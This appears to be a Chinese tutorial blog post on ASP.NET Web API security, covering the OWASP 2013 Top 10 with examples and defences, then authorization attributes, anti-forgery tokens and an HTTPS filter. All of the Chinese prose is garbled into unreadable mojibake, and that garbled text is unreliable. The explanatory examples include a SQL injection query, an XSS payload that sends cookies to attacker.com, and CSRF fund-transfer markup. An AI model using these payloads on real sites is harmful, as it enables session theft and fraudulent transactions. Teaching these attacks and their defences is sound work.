Web
APIÈëÃÅÖ¸ÄÏÓÐЩÅóÓѻظ´ÎÊÁËЩ°²È«·½ÃæµÄÎÊÌ⣬°²È«·½Ãæ¿ÉÒÔдµÄ¶«Î÷ʵÔÚÌ«¶àÁË£¬ÕâÀᄀÁ¿Î§ÈÆ×ÅWeb APIµÄ°²È«ÐÔÀ´Õ¹¿ª£¬½éÉÜһЩ°²È«µÄ»ù±¾¸ÅÄ³£¼û°²È«Òþ»¼¡¢Ïà¹ØµÄ·ÀÓù¼¼ÇÉÒÔ¼°Web
APIÌṩµÄ°²È«»úÖÆ¡£
Web API °²È«¸ÅÀÀ
ÏÈÒýÓÃÏÂwikipediaÐÅÏ¢°²È«µÄ¶¨Ò壺¼´±£»¤ÐÅÏ¢ÃâÊÜδ¾ÊÚȨµÄ½øÈ롢ʹÓá¢Åû¶¡¢ÆÆ»µ¡¢Ð޸ġ¢¼ìÊÓ¡¢¼Ç¼¼°Ïú»Ù£¬´Ó¶ø±£Ö¤Êý¾ÝµÄ»úÃÜÐÔ(Confidentiality)¡¢ÍêÕûÐÔ(Integrity)ºÍ¿É¿¿ÐÔ(Availability)¡£
»úÃÜÐÔºÍÍêÕûÐÔ¶¼ºÜºÃÀí½â£¬¿É¿¿ÐÔ×÷ΪÐÅÏ¢°²È«µÄÒ»¸öÖØÒªÔÔòÕâÀïÌØ±ð½âÊÍһϣ¬¼´·ÃÎÊÐÅÏ¢µÄʱºò±£Ö¤¿ÉÒÔ·ÃÎʵĵ½£¬ÓÐÒ»ÖÖ¹¥»÷·½Ê½½ÐDOS/DDOS£¬¼´¾Ü¾ø·þÎñ¹¥»÷£¬×¨ÃÅÆÆ»µÍøÕ¾µÄ¿ÉÓÃÐÔ¡£
Information security, sometimes shortened
to InfoSec, is the practice of defending information
from unauthorized access, use, disclosure, disruption,
modification, perusal, inspection, recording or destruction.
Î§ÈÆWeb API°²È«£¬ÔÚ²»Í¬µÄ²ã´ÎÉÏÓв»Í¬µÄ·À»¤´ëÊ©¡£ÀýÈ磬
ÍøÂç´«Êä²ãhttpsÊý¾Ý¼ÓÃÜ
ÈÏÖ¤·½Ê½Knowledge Factors/Ownership Factors/Two-Factor
Security
·þÎñÆ÷ϵͳ²ãȨÏÞ¹ÜÀí£¬°²È«²¹¶¡Éý¼¶¸üÐÂ
IIS²ãÈÏÖ¤/ÊÚȨģ¿é¹ÜÀí
.NET²ãÃæµÄIdentity¹ÜÀí£¬ÈÏ֤ģ¿é¹ÜÀí
Web APIÊÚȨ¹ÜÀí£¬ÊäÈëÑéÖ¤
Êý¾Ý¿â²ãÃæÊý¾Ý¼ÓÃÜ£¬Óû§È¨ÏÞ¹ÜÀí
ÏÂͼÊÇÒ»¸ö¸ÅÀÀ¡£

°²È«Òþ»¼
°²È«Òþ»¼ÖÖÀà·±¶à£¬ÕâÀï¼òµ¥½éÉÜÏÂOWASP 2013ÄêÆ±Ñ¡Ç°Ê®Î»°²È«Òþ»¼¡£
1. ×¢Èë(Injection)
×¢ÈëÊÇÖ¸ÊäÈëÖаüº¬¶ñÒâ´úÂë(ÔÚ½âÊÍÆ÷Öлᱻ×÷ΪÓï¾äÖ´Ðжø·Ç´¿Îı¾)£¬Ö±½Ó±»´«µÝ¸ø¸ø½âÊÍÆ÷²¢Ö´ÐУ¬ÄÇô¹¥»÷Õ߾ͿÉÒÔÇÔÈ¡¡¢Ð޸ĻòÕßÆÆ»µÊý¾Ý¡£
×¢ÈëÓкܶàÖÖÀàÐÍ£¬×î³£¼ûµÄÈçSQL×¢Èë¡¢LDAP×¢Èë¡¢OSÃüÁî×¢ÈëµÈ¡£
ʾÀý
ÒÔÏ´úÂëÊÇÒ»¸öµäÐ͵ÄSQL×¢ÈëÒþ»¼
String query = "SELECT * FROM accounts WHERE customerName='" + request.getParameter("name") + "'";
|
Èç¹ûÊäÈëÖÐcustomerNameºóÃæ¼ÓÉÏÒ»¸ö' or '1'='1£¬¿ÉÒÔÏëÏóËùÓеÄaccounts±íÊý¾Ý¶¼»Ø±»·µ»Ø¡£
·ÀÓù
ͨ¹ý·â×°APIÒÔ²ÎÊýÐÎʽÀ´µ÷ÓýâÊÍÆ÷£¬±ÜÃ⽫Õû¸ö½âÊÍÆ÷¹¦Äܱ©Â¶¸ø¿Í»§¶Ë¡£
Èç¹ûûÓзâ×°ºÃµÄ°²È«API£¬¿ÉÒÔ¿¼Âǽ«ÌØÊâ×Ö·ûתÒåÖ®ºóÔÙ´«µÝ¸ø½âÊÍÆ÷¡£
¸ü¼Ó¼¤½øÒ»µãµÄ»°¿ÉÒÔÌṩһ¸öÊäÈëµÄ°×Ãûµ¥£¬Ö»ÓÐÃûµ¥ÉϵÄÊý¾Ý²Å¿ÉÒÔ½øÈë½âÊÍÆ÷¡£
2. ÎÞЧÈÏÖ¤ºÍSession¹ÜÀí·½Ê½(Broken Authentication
and Session Management)
¿ª·¢ÈËÔ±¾³£×Ô¼º±àдÈÏÖ¤»òsession¹ÜÀíÄ£¿é£¬µ«ÊÇÕâÖÖÄ£¿éÐèÒª¿¼ÂǵÄÒòËØÖڶ࣬ºÜÄÑÕýÈ·ÍêÕûµÄʵÏÖ¡£ËùÒÔ¾³£»áÔÚµÇÈëµÇ³ö¡¢ÃÜÂë¹ÜÀí¡¢³¬Ê±ÉèÖᢰ²È«ÎÊÌâ¡¢ÕÊ»§¸üеȷ½Ãæ´æÔÚ°²È«Òþ»¼£¬¸ø¹¥»÷ÕßÒԿɳËÖ®»ú¡£
ʾÀý
Óû§ÃÜÂëÓÃÃ÷Îı£´æ£¬ÀýÈç2011Äê12Ô¶à¼ÒÍøÕ¾Êý¾Ýй¶£¬ÆäÖоͷ¢ÏÖ¹úÄÚÖªÃû¼¼ÊõÍøÕ¾¾ÓȻҲÓÃÃ÷ÎÄ´æ´¢Óû§ÃÜÂë¡£µ¥´¿µÄ¿Í»§ÃÜÂ븴ÔӶȸ߻¹ÊDz»¹»£¬·þÎñÆ÷µÄ¿ÓµùµÄʵÏÖ»¹ÊǻᵼÖ¿ͻ§Âã±¼¡£
Óû§ÃÜÂë¿ÉÒÔ±»ÌØÊâ²Ù×÷¸²¸Ç¡£ÀýÈç²»ÕýÈ·µÄʵÏÖÃÜÂë¸ü¸Ä¹¦ÄÜ¡¢»Ö¸´ÃÜÂ빦Äܵȶ¼ÓпÉÄÜÔì³ÉÃÜÂë±»Ö±½Ó¸ü¸Ä¡£
ÍøÒ³URLÖаüº¬Session ID¡£ÀýÈçÄã·¢ÏÖÒ»¸öÓÐȤµÄÍøÒ³£¬È»ºó°ÑÁ´½Óͨ¹ýÁÄÌ칤¾ßÌù¸øÆäËûÈË£¬µ«ÊÇÕâ¸öÁ´½ÓÖаüº¬ÁËÄãµÄsession
id£¬±ðÈ˵ã»÷Õâ¸öÁ´½Ó¾ÍÖ±½ÓʹÓÃÁËÄãµÄsession£¬Í¬Ê±ËûÒ²¿ÉÒÔ×÷ÈκÎÄã¿ÉÒÔÔÚ¸ÃÍøÕ¾ÉÏÔÊÐíµÄ²Ù×÷£¬ÀýÈçÂòÕÅÊÖ»ú³åÖµ¿¨¡£
Session ID²»»átimeout£¬»òÕßsession/token/SSO
tokenÔڵdzöµÄʱºòûÓн«ÆäʧЧ¡£
Óû§ÈÏÖ¤ÐÅÏ¢¡¢Session IDʹÓÃδ¼ÓÃÜÁ¬½Ó´«Êä¡£ÕâÀïÒªÌáһϲ©¿ÍÔ°µÄÈÏÖ¤Á¬½ÓÒ²ÊDz»¼ÓÃܵģ¬Í¨¹ý×¥±¨¹¤¾ßºÜÈÝÒ××¥µ½Óû§µÄÃÜÂëÐÅÏ¢¡£Ä¿Ç°À´ËµÎÒÃÇ¿ÉÒÔ×öµÄÊÇΪ²©¿Í԰רÃÅÉèÖÃÒ»¸öÃÜÂ룬ǧÍò±ðÓÃ×Ô¼º×Ô¼ºÐÅÓÿ¨»òÖ§¸¶±¦ÃÜÂë¡£
·ÀÓù
ÍÆ¼öÖ±½ÓʹÓñ»¹ã·ºÓ¦ÓõÄÈÏÖ¤¿Ø¼þ¼°Session¹ÜÀíÄ£¿é¡£
3. ¿çÕ¾½Å±¾(Cross-Site Scripting (XSS))
ÔÊÐí¿çÕ¾½Å±¾ÊÇWeb 2.0ʱ´úÍøÕ¾×îÆÕ±éµÄÎÊÌâ¡£Èç¹ûÍøÕ¾Ã»ÓжÔÓû§Ìá½»µÄÊý¾Ý¼ÓÒÔÑéÖ¤¶øÖ±½ÓÊä³öÖÁÍøÒ³£¬ÄÇô¶ñÒâÓû§¾Í¿ÉÒÔÔÚÍøÒ³ÖÐ×¢Èë½Å±¾À´ÇÔÈ¡Óû§Êý¾Ý¡£
ʾÀý
ÀýÈçÍøÕ¾Í¨¹ýÒÔÏ´úÂëÖ±½Ó¹¹ÔìÍøÒ³Êä³ö£¬
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
|
¹¥»÷ÕßÊäÈëÒÔÏÂÊý¾Ý£¬
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
|
µ±¸ÃÊý¾Ý±»Êä³öµ½Ò³ÃæµÄʱºò£¬Ã¿¸ö·ÃÎʸÃÒ³ÃæµÄÓû§cookie¾Í×Ô¶¯±»Ìá½»µ½Á˹¥»÷Õß¶¨ÒåºÃµÄÍøÕ¾¡£
·ÀÓù
ÍÆ¼ö½«ËùÓÐÓû§ÊäÈëÊý¾Ý½øÐÐתÒå
¼¤½øµÄ·½·¨ÊÇÌṩһ¸ö°×Ãûµ¥¿ØÖÆÓû§ÊäÈë
¶ÔÓÚ¸»Îı¾ÊäÈë¿ÉÒÔʹÓÃanti-xss libraryÀ´´¦ÀíÊäÈ룬ÀýÈçMicrosoft
AntiXSS library.
4. Ö±½Ó¶ÔÏóÒýÓÃ(Insecure Direct Object References)
Õâ¸öÎÊÌâÔÚ¶¯Ì¬ÍøÒ³ÖÐÒ²Ï൱ÆÕ±é£¬Ö¸µÄÊÇÒ³Ãæ´æÔÚ¶ÔÊý¾Ý¶ÔÏóµÄ¼ü/Ãû×ÖµÄÖ±½ÓÒýÓ㬶øÍøÕ¾³ÌÐòûÓÐÑéÖ¤Óû§ÊÇ·ñÓзÃÎÊÄ¿±ê¶ÔÏóµÄȨÏÞ¡£
ʾÀý
ÀýÈçÒ»¸öÍøÕ¾Í¨¹ýÒÔÏ´úÂë·µ»Ø¿Í»§ÐÅÏ¢£¬
String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , ¡ ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );
|
¹¥»÷Õß¿ÉÒÔͨ¹ýÐÞ¸ÄquerystringÀ´²éѯÈκÎÈ˵ÄÐÅÏ¢
http://example.com/app/accountInfo?acct=notmyacct
|
·ÀÓù
ʹÓÃÓû§¼¶±ð»òSession¼¶±ðµÄ¼ä½Ó¶ÔÏóÒýÓ㬱ÈÈçÓû§½çÃæÉÏÏÂÀ¿òÖÐÑ¡Ïî¶ÔÓ¦¼òµ¥Êý×Ö¶ø²»ÊǶÔÏóµÄÊý¾Ý¿â¼üÖµ£¬½çÃæÊý×ÖÓë¶ÔÏó¼üÖµÖ®¼äµÄ¶ÔÓ¦¹ØÏµÔÚÓû§¼¶±ð»òsession¼¶±ðά»¤¡£
¿ØÖÆ·ÃÎÊ£¬ÔÚÕæÕýµÄ²Ù×÷֮ǰÅжÏÓû§ÊÇ·ñÓÐȨÏÞÖ´ÐиòÙ×÷»ò·ÃÎÊÄ¿±êÊý¾Ý¡£
5. ´íÎóµÄ°²È«ÅäÖÃ(Security Misconfiguration)
°²È«ÅäÖÿÉÄÜÔÚ¸÷¸ö¼¶±ð(platform/web server/application server/database/framework/custom
code)³ö´í£¬¿ª·¢ÈËÔ±ÐèҪͬϵͳ¹ÜÀíºÏ×÷À´È·±£ºÏÀíÅäÖá£
ʾÀý
ÅäÖÃÎÊÌâµÄ·¶Àý±È½Ï¶àÑù£¬³£¼ûµÄ¼¸ÖÖÈçÏ£¬
·þÎñÆ÷ʹÓùýÆÚ»ò´æÔÚ°²È«Â©¶´µÄÈí¼þ
°²×°ÁËûÓбØÒªµÄ¹¦ÄÜ
ϵͳĬÈÏÕÊ»§Ã»ÓнûÓûòʹÓÃĬÈÏÃÜÂë
³ö´íÐÅÏ¢Öаüº¬´íÎóϸ½Ú(µ÷ÓÃÕ»ÐÅÏ¢)
ʹÓõĿª·¢¿ò¼ÜÖеݲȫÉèÖÃûÓÐÕýÈ·ÅäÖÃ
·ÀÓù
¿ª·¢¿É¸´ÓÃ×Ô¶¯»¯Á÷³ÌÀ´²¿Êð»·¾³£¬±£Ö¤¿ª·¢£¬²âÊÔÓëÉú²ú»·¾³¾ßÓÐÏàͬÅäÖÃ
¼°Ê±¸üÐÂÈí¼þ¡¢ÏµÍ³ÒÔ¼°Ê¹ÓõĿò¼Ü
¼Ü¹¹Éè¼Æ³ä·Ö¿¼ÂÇ×é¼þµÄ°²È«±ß½ç·Ö¸î
ʹÓÃרҵɨÃ蹤¾ß¶¨ÆÚ¼ì²é°²È«Â©¶´
6. ±©Â¶Ãô¸ÐÊý¾Ý(Sensitive Data Exposure)
ÕâÖÖ©¶´¾ÍÊǵ¼ÖÂÖªÃûÍøÕ¾Óû§ÐÅϢй¶µÄ¹Ø¼ü£¬Í¨¹ýÃ÷ÎÄ´æ´¢Ãô¸ÐÊý¾Ý¡£
ʾÀý
ÃÜÂëÊý¾Ý¿âÖÐͨ¹ýÃ÷ÎÄ»òÕßͨ¹ýunsalted hashÀ´´æ´¢¡£¹¥»÷ͨ¹ýÎļþÉÏ´«Â©¶´µÃµ½ÃÜÂëÎļþ£¬ËùÓеÄÃÜÂë¶¼»áй¶¡£
ÁíÍâÒ»¸öµäÐÍʾÀý¾ÍÊÇÓû§µÇ¼ʹÓÃδ¼ÓÃÜÁ¬½Ó£¬ÕâÀï²»¾ÙÀý˵Ã÷ÁË¡£¡£¡£
·ÀÓù
¼ÓÃÜËùÓбØÐëµÄÃô¸ÐÊý¾Ý
±ÜÃâ´æ´¢²»±ØÐëµÄÃô¸ÐÊý¾Ý
ʹÓÃÇ¿¼ÓÃÜËã·¨
ʹÓÃרÃÅÉè¼ÆµÄÃÜÂë¼ÓÃÜËã·¨
½ûÓðüº¬Ãô¸ÐÊý¾ÝµÄformÖеÄ×Ô¶¯Íê³É¹¦ÄÜ£¬½ûÓðüº¬Ãô¸ÐÊý¾ÝµÄÒ³Ãæ»º´æ
7. ¹¦Äܼ¶È¨ÏÞ¿ØÖÆÈ±Ê§(Missing Function Level
Access Control)
¹¦Äܼ¶±ðȨÏÞ¿ØÖÆÒ»°ãÊÇдÔÚ´úÂëÖлòÕßͨ¹ý³ÌÐòµÄÅäÖÃÎļþÀ´Íê³É£¬µ«ÊÇ¿ÉϧµÄÊÇ¿ª·¢Õß¾³£Íü¼ÇÌí¼ÓһЩ¹¦ÄܵÄȨÏÞ¿ØÖÆ´úÂë¡£
ʾÀý
ÀýÈçÒÔÏÂÁ´½Ó±¾¸ÃÖ»ÓÐadmin²ÅÄÜ·ÃÎÊ£¬µ«Èç¹ûÄäÃûÓû§»òÕß·ÇadminÓû§¿ÉÒÔÖ±½ÓÔÚä¯ÀÀÆ÷ÖзÃÎʸÃÁ´½Ó£¬ËµÃ÷ÍøÕ¾´æÔÚ¹¦Äܼ¶È¨ÏÞ¿ØÖÆÂ©¶´¡£
http://example.com/app/getappInfo http://example.com/app/admin_getappInfo
|
·ÀÓù
²»Òªhard codeȨÏÞ¿ØÖÆ£¬ÐèÒª½¨Á¢Ò»ÖÖ¿ÉÒԱȽÏÈÝÒ׸üкͼà²âȨÏÞ¿ØÖƵĻúÖÆ
ĬÈϾܾøËùÓзÃÎÊ£¬·ÃÎÊÈκι¦Äܶ¼ÐèÒª±»¸³ÓèÌØ¶¨µÄȨÏÞ
Èç¹ûij¹¦ÄÜÔÚÒ»¸öworkflowÖУ¬ÐèҪȷÈÏËùÓеÄǰÌáÌõ¼þ¶¼ÔÚÕýÈ·µÄ״̬£¬È»ºóÔÊÐí·ÃÎʸù¦ÄÜ
8. αÔì¿çÕ¾ÇëÇó(Cross-Site Request Forgery)
ͬÑùÊÇ¿çÕ¾ÇëÇó£¬ÕâÖÖÓëÎÊÌâ3µÄ²»Í¬Ö®´¦ÔÚÓÚÕâ¸öÇëÇóÊÇ´ÓµöÓãÍøÕ¾ÉÏ·¢ÆðµÄ¡£
ʾÀý
ÀýÈçµöÓãÍøÕ¾Éϰüº¬ÁËÏÂÃæµÄÒþ²Ø´úÂ룬
<img src="http://example.com/app/transferFunds?amount=1500
&destinationAccount=attackersAcct#" width="0" height="0" />
|
ÕâÐдúÂëµÄ×÷ÓþÍÊÇÒ»¸öÔÚexample.comÍøÕ¾µÄתÕÊÇëÇ󣬿ͻ§·ÃÎʵöÓãÍøÕ¾Ê±£¬Èç¹ûҲͬʱµÇ¼ÁËexample.com»òÕß±£ÁôÁËexample.comµÄµÇ¼״̬£¬ÄǸöÏàÓ¦µÄÒþ²ØÇëÇó¾Í»á±»³É¹¦Ö´ÐС£
·ÀÓù
ÍÆ¼öʹÓÃsession¼¶±ðµÄΨһtoken±£´æÔÚhidden field£¬ÕâÑù¸ÃÖµ¾Í»á±»°üº¬ÔÚÇëÇóÌåÖУ¬ÕâÑùµöÓãÍøÕ¾µÄÇëÇó¾ÍÎÞ·¨µÃÖª¸Ãtoken´Ó¶ø»áʹÇëÇóʧЧ¡£
9. ʹÓÃÒÑÖª°²È«Òþ»¼×é¼þ(Using Components with
Known Vulnerabilities)
¼¸ºõÿ¸ö³ÌÐò¶¼ÓÐÕâ¸öÎÊÌ⣬ÒòΪ´ó¶àÊýÈ˲»»á¹ØÐÄ×Ô¼ºÒýÓõĿâÎļþÊÇ·ñ´æÔÚÒÑÖª°²È«Â©¶´£¬¶øÇÒÒ»µ©²¿Êð³É¹¦¾Í²»»áÔÙÓÐÈ˹ØÐÄÊÇ·ñÓÐ×é¼þÐèÒªÉý¼¶¡£È»¶øÕâЩ×é¼þÔÚ·þÎñÆ÷ÖÐÔËÐУ¬ÓµÓÐÏ൱¸ßµÄȨÏÞÈ¥·ÃÎÊϵͳÖеĸ÷ÖÖ×ÊÔ´£¬Ò»µ©¹¥»÷ÕßÀûÓøÃ×é¼þÒÑ֪©¶´£¬ÄÇôÇÔÈ¡»òÆÆ»µÐÅÏ¢Ò²½«²»ÊÇÄÑÊ¡£
ʾÀý
ÒÔÏÂÁ½¸ö×é¼þ¶¼´æÔÚÒÑÖªµÄ°²È«È±ÏÝ´Ó¶ø¿ÉÒÔÈù¥»÷Õß»ñµÃ·þÎñÆ÷×î¸ßȨÏÞ£¬µ«ÊÇÔÚ2011ÄêËûÃDZ»ÏÂÔØÁË22M´ÎÖ®¶à£¬µ«ÊÇÆäÖÐÓжàÉÙ±»¸üÐÂÁË£¬¶àÉÙ»¹ÔÚ¼ÌÐøÊ¹ÓÃÄØ¡£
Apache CXF Authentication Bypass
Spring Remote Code Execution
·ÀÓù
È·¶¨ÏµÍ³Ê¹ÓõÄËùÓÐ×é¼þ¼°Æä°æ±¾£¬°üÀ¨ÏàÓ¦µÄÒÀÀµ×é¼þ
¹Ø×¢ÕâЩ×é¼þÏàÓ¦µÄÏîÄ¿Óʼþ×é¡¢issueÊý¾Ý¿âµÄ°²È«¸üÐÂ
¶¨Òå×é¼þ°²È«Ê¹ÓòßÂÔ£¬±ÜÃâÀÄÓÃ×é¼þ
Èç¹û¿ÉÄܵϰ¶Ô×é¼þ½øÐаü×°£¬´Ó¶ø½ûÓÃÆä²»°²È«µÄ¹¦ÄÜ
10. δÑéÖ¤Ìø×ª(Unvalidated Redirects and
Forwards)
ºÜ¶àÍøÕ¾¶¼¾³£»áÐèÒª½øÐÐÒ³ÃæÌø×ª£¬¶øÇÒÓÐÐ©Ìø×ª»á¸ù¾ÝÓû§ÊäÈëÀ´¾ö¶¨£¬ÕâÑù¾Í¸øÁ˹¥»÷Õ߿ɳËÖ®»ú£¬´Ó¶ø¿ÉÄܽ«Óû§µ¼Ïò¶ñÒâÍøÕ¾»òÕßδÊÚȨÁ´½Ó¡£
ʾÀý
ÏÂÃæÒ³ÃæÇëÇó¸ù¾Ýquery string url×Ö¶ÎÀ´½øÐÐÌø×ª£¬ÕâÑù¹¥»÷ÕߺÜÈÝÒ×αÔìÀàËÆÓÚÒÔϵÄÌø×ªÁ´½Ó½«¿Í»§µ¼Ïòµ½µöÓãÍøÕ¾¡£
http://www.example.com/redirect.jsp?url=evil.com
|
ÓÖÈçδÊÚȨÓû§Í¨¹ýÏÂÃæÁ´½ÓÌø¹ýÊÚȨ¼ì²éÖ±½Óµ½adminÒ³Ãæ
http://www.example.com/boring.jsp?fwd=admin.jsp
|
·ÀÓù
±ÜÃâÌø×ª
²»Òª¸ù¾ÝÓû§ÊäÈëÀ´Ìø×ª
Èç¹û±ØÐë¸ù¾ÝÊäÈëÌø×ª£¬ÑéÖ¤¸ÃÊäÈë²¢ÇÒ¸ÃÓû§¾ß±¸·ÃÎʸÃÄ¿±ê·¾¶µÄȨÏÞ
Èç¹û±ØÐë¸ù¾ÝÊäÈëÌø×ª£¬ÍƼö¸ù¾ÝÓû§ÊäÈëÀ´ÄÚ²¿¾ö¶¨¶ÔÓ¦µÄÌø×ªÄ¿±ê£¬²»Ö±½ÓʹÓÃÊäÈë
Web API°²È«»úÖÆ
Web API°üº¬ÁËÒ»Ì×ÍêÕûµÄ°²È«»úÖÆ£¬¶øÇҾ߱¸²»´íµÄÀ©Õ¹ÐÔ£¬ÕâÒ»½ÚÎÒÃÇÖ÷Òª½éÉÜWeb APIÌṩµÄһЩ»ù±¾°²È«Ïà¹ØµÄ¹¦ÄÜ¡£
ÈÏÖ¤ÓëÊÚȨ(Authentication and Authorization)
ÏȸøÈÏÖ¤ºÍÊÚȨϸö¶¨Òå¡£
ʲôÊÇÈÏÖ¤£¿¼òµ¥À´ËµÈÏÖ¤¾ÍÊǸãÇå³þÓû§ÊÇË¡£
ʲôÊÇÊÚȨ£¿ÊÚȨ¾ÍÊǸãÇå³þÓû§¿ÉÒÔ×öʲô¡£
ÈÏÖ¤
Web APIµÄÈÏ֤ȡ¾öÓÚËÞÖ÷»·¾³ÅäÖõÄÈÏÖ¤·½Ê½£¬±ÈÈçWeb API hostÔÚIIS£¬ÄÇôÔÚIISÏàÓ¦µÄÍøÕ¾ÉÏÈÏÖ¤ÅäÖÃÒÖ»ò×Ô¶¨ÒåµÄÈÏ֤ģ¿éͬÑù»á×÷ÓÃÓÚWeb
API¡£
ÔÚWeb APIÖмì²éÒ»¸öÇëÇóÊÇ·ñ¾¹ýÈÏÖ¤£¬¿ÉÒÔͨ¹ýÒÔÏÂÊôÐÔÀ´Åжϣ¬
Thread.CurrentPrincipal.Identity.IsAuthenticated
|
Èç¹û³ÌÐòÐèÒª²ÉÓÃ×Ô¶¨ÒåµÄÈÏÖ¤·½Ê½£¬ÐèҪͬʱÉèÖÃÒÔÏÂÁ½¸öÊôÐÔ£¬
Thread.CurrentPrincipal. This property
is the standard way to set the thread's principal in
.NET.
HttpContext.Current.User. This property
is specific to ASP.NET.
private void SetPrincipal(IPrincipal principal) { Thread.CurrentPrincipal = principal; if (HttpContext.Current != null) { HttpContext.Current.User = principal; } }
|
ÊÚȨ
ÊÚȨÔÚÎÒÃDZàдAPIµÄʱºò¾³£»áÉæ¼°µ½£¬Web APIÒ²ÌṩÁ˱ȽÏÍêÕûµÄÊÚȨ¼ì²é»úÖÆ¡£
Èç¹ûÎÒÃÇÏëÖªµÀÈÏÖ¤µÄÓû§ÐÅÏ¢£¬¿ÉÒÔͨ¹ýApiController.UserÀ´²é¿´¡£
public HttpResponseMessage Get() { if (User.IsInRole("Administrators")) { // ... } }
|
ÁíÍâÎÒÃÇ¿ÉÒÔÔÚ²»Í¬¼¶±ðʹÓÃAuthorizeAtrributeÀ´¿ØÖƲ»Í¬¼¶±ðµÄÊÚȨ·ÃÎÊ¡£
Èç¹ûÎÒÃÇÏ£ÍûÔÚÈ«¾ÖËùÓеÄController¿ØÖÆÊÚȨ£¬Ö»ÓÐÊÚȨÓû§¿ÉÒÔ·ÃÎʵϰ£¬¿ÉÒÔͨ¹ýÒÔÏ·½Ê½£¬
public static void Register(HttpConfiguration config) { config.Filters.Add(new AuthorizeAttribute()); }
|
Èç¹ûÏ£Íû¿ØÖÆÔÚ¸ö±ðController¼¶±ð£¬
[Authorize] public class ValuesController : ApiController { public HttpResponseMessage Get(int id) { ... } public HttpResponseMessage Post() { ... } }
|
Èç¹ûÏ£Íû¿ØÖÆÔÚ¸ö±ðAction¼¶±ð£¬
public class ValuesController : ApiController { public HttpResponseMessage Get() { ... } // Require authorization for a specific action. [Authorize] public HttpResponseMessage Post() { ... } }
|
Èç¹ûÏ£ÍûÔÊÐí¸ö±ðActionÄäÃû·ÃÎÊ£¬
[Authorize] public class ValuesController : ApiController { [AllowAnonymous] public HttpResponseMessage Get() { ... } public HttpResponseMessage Post() { ... } }
|
Èç¹ûÏ£ÍûÔÊÐí¸ö±ðÓû§»òÕßÓû§×飬
// Restrict by user: [Authorize(Users="Alice,Bob")] public class ValuesController : ApiController { } // Restrict by role: [Authorize(Roles="Administrators")] public class ValuesController : ApiController { }
|
αÔì¿çÕ¾ÇëÇó(Cross-Site Request Forgery Attacks)
ÔÙÀ´¸´Ï°Ò»±éʲôÊÇαÔì¿çÕ¾ÇëÇó¹¥»÷
1. Óû§³É¹¦µÇ¼ÁËwww.example.com£¬¿Í»§¶Ë±£´æÁ˸ÃÍøÕ¾µÄcookie£¬²¢ÇÒûÓÐlogout¡£
2. Óû§½ÓÏÂÀ´·ÃÎÊÁËÁíÍâÒ»¸ö¶ñÒâÍøÕ¾£¬°üº¬ÈçÏ´úÂë
<h1>You Are a Winner!</h1> <form action="http://example.com/api/account" method="post"> <input type="hidden" name="Transaction" value="withdraw" /> <input type="hidden" name="Amount" value="1000000" /> <input type="submit" value="Click Me"/> </form>
|
3. Óû§µã»÷submit°´Å¥£¬ä¯ÀÀÆ÷Ïòexample.com·¢ÆðÇëÇóµ½·þÎñÆ÷£¬Ö´ÐÐÁ˹¥»÷Õ߯ÚÍûµÄ²Ù×÷¡£
ÉÏÃæµÄÊÂÀýÐèÒªÓû§µã»÷°´Å¥£¬µ«ÍøÒ³Ò²¿ÉÒÔͨ¹ý¼òµ¥µÄ½Å±¾Ö±½ÓÔÚÍøÒ³¼ÓÔØ¹ý³ÌÖÐ×Ô¶¯·¢Ë͸÷ÖÖÇëÇó³öÈ¥¡£
ÕýÈçÎÒÃÇ֮ǰÌáµ½µÄ·ÀÓù·½°¸Ëù˵£¬ASP.NET MVCÖпÉÒÔͨ¹ýÏÂÃæ¼òµ¥µÄ´úÂë¿ÉÒÔÔÚÒ³ÃæÖÐÌí¼ÓÒ»¸öÒþ²Øfield£¬´æ·ÅÒ»¸öËæ»ú´úÂ룬Õâ¸öËæ»úÂë»áÓëcookieÒ»ÆðÔÚ·þÎñÆ÷ͨ¹ýУÑé¡£ÕâÑùÆäËûÍøÕ¾ÎÞ·¨µÃµ½²»Í¬Óû§µÄËæ»ú´úÂ룬Ҳ¾ÍÎÞ·¨³É¹¦Ö´ÐÐÏàÓ¦µÄÇëÇó¡£
@using (Html.BeginForm("Manage", "Account")) { @Html.AntiForgeryToken() }
<form action="/Home/Test" method="post"> <input name="__RequestVerificationToken" type="hidden" value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" /> <input type="submit" value="Submit" /> </form>
|
¶ÔÓÚûÓÐformµÄajaxÇëÇó£¬ÎÒÃÇÎÞ·¨Í¨¹ýhidden fieldÀ´×Ô¶¯Ìá½»Ëæ»úÂ룬¿ÉÒÔͨ¹ýÒÔÏ·½Ê½ÔÚ¿Í»§¶ËÇëÇóÍ·ÖÐǶÈëËæ»úÂ룬ȻºóÔÚ·þÎñÆ÷УÑ飬
<script> @functions{ public string TokenHeaderValue() { string cookieToken, formToken; AntiForgery.GetTokens(null, out cookieToken, out formToken); return cookieToken + ":" + formToken; } }
$.ajax("api/values", { type: "post", contentType: "application/json", data: { }, // JSON data goes here dataType: "json", headers: { 'RequestVerificationToken': '@TokenHeaderValue()' } }); </script> void ValidateRequestHeader(HttpRequestMessage request) { string cookieToken = ""; string formToken = ""; IEnumerable tokenHeaders; if (request.Headers.TryGetValues("RequestVerificationToken", out tokenHeaders)) { string[] tokens = tokenHeaders.First().Split(':'); if (tokens.Length == 2) { cookieToken = tokens[0].Trim(); formToken = tokens[1].Trim(); } } AntiForgery.Validate(cookieToken, formToken); }
|
°²È«Á´½Ó(SSL)
¶ÔÓÚÐèÒªÆôÓð²È«Á´½ÓµÄµØÖ·£¬ÀýÈçÈÏÖ¤Ò³Ãæ£¬¿ÉÒÔͨ¹ýÒÔÏ·½Ê½¶¨ÒåAuthorizationFilterAttribute£¬À´¶¨ÒåÄÄЩaction±ØÐëͨ¹ýhttps·ÃÎÊ¡£
public class RequireHttpsAttribute : AuthorizationFilterAttribute { public override void OnAuthorization(HttpActionContext actionContext) { if (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps) { actionContext.Response = new HttpResponseMessage(System.Net.HttpStatusCode.Forbidden) { ReasonPhrase = "HTTPS Required" }; } else { base.OnAuthorization(actionContext); } } }
public class ValuesController : ApiController { [RequireHttps] public HttpResponseMessage Get() { ... } } |
ÔÚVisual StudioÀïÃæ²âÊÔµÄʱºò¿ÉÒÔͨ¹ýÏÂÃæµÄÉèÖÃÀ´ÆôÓÃSSLÁ´½Ó

